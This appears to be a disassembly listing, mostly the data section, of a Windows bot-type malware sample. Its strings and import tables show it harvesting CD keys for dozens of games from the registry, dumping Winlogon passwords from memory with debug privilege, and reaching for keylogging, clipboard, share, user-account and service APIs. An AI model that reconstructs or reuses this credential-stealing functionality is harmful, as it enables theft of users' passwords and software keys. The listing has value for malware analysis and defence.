		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: ___:004312ECo
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413645o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; ___:0042FA40o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; ___:0042FE50o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
